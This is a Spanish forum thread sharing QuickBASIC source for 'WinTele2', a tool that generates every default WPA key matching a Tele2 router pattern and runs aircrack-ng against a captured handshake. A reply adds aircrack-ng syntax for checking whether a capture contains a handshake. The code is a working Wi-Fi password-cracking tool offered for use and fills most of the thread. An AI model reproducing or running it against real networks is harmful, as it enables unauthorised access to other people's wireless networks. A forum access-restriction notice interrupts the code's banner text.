Codigo Fuente de WinTele2 1.1 para las nuevas WpA

[lampi]

Yo ya me lo se hace tiempo. 

Codigo Fuente de WinTele2 1.1 para las nuevas WpA

CLS : COLOR 15
cl$ = COMMAND$ + "!": l = LEN(cl$)
po = 1: x = 1
ext:
FOR i = 0 + po TO l
c$ = MID$(cl$, i, 1)
IF c$ = "!" THEN GOTO sal
IF c$ = " " THEN po = po + 1: x = x + 1: GOTO ext
a$(x) = a$(x) + c$
po = po + 1
NEXT: x = x + 1: GOTO ext
sal:
tel$ = "IX1VPV": a = VAL(a$(1))
GOSUB inicio
IF a <= 0 OR a > 9 OR a$(1) = "?" THEN GOTO info
PRINT "Generando diccionario para "; tel$; a$(1); " "; TIME$
ini$ = a$(1) + "000000": fin$ = a$(1) + "999999"
ini = VAL(ini$): fin = VAL(fin$)
OPEN "wtele2.lst" FOR OUTPUT AS #1
FOR x = ini TO fin
b$ = LTRIM$(STR$(x))
c$ = tel$ + b$
PRINT #1, c$
NEXT x
CLOSE #1
COLOR 10: PRINT "Terminado: "; TIME$: SLEEP (1)
PRINT : COLOR 15
PRINT "Lanzando aircrack.ng - "; a$(2)
air$ = "cmd.exe /C aircrack-ng -a 2 -w wtele2.lst " + a$(2)
SHELL air$
COLOR 15: PRINT : PRINT "Eliminando diccionario."
SHELL "del wtele2.lst"
COLOR 10: PRINT "Terminado."
a$ = INPUT$(1)
END
inicio:
PRINT "WinTele2 v1.1"
PRINT "-------------"
PRINT "Powered by LAMPI -

Sorry, you are not allowed to see this part of the text. Por favor ingresa o regístrate.

(2008)"
RETURN
salir:
PRINT : PRINT "Usage: wtele2 x .cap"
a$ = INPUT$(1): END
info:
PRINT : PRINT "Ayuda:": PRINT "------"
PRINT "Uso: wtele2 x f.cap"
PRINT "x numero de patron"
PRINT "f.cap fichero cap con al menos 1 handshake."
PRINT "Actualmente para las nuevas tele2 llevan el patr¢n IX1VPVx6"
END

[javier1990]

hola me gustria si alguien me puede comprobar el cap que he conseguido de tele2.

[maripuri]

@javier1990


sintaxis: aircrack-ng  *.cap    (ver.0.93 mejor)

Esto comprobará si has capturado el handshake, luego tienes un montón de herramientas y GUI's por el foro para hacerlo tu mismo, no hace falta que te lo compruebe nadie.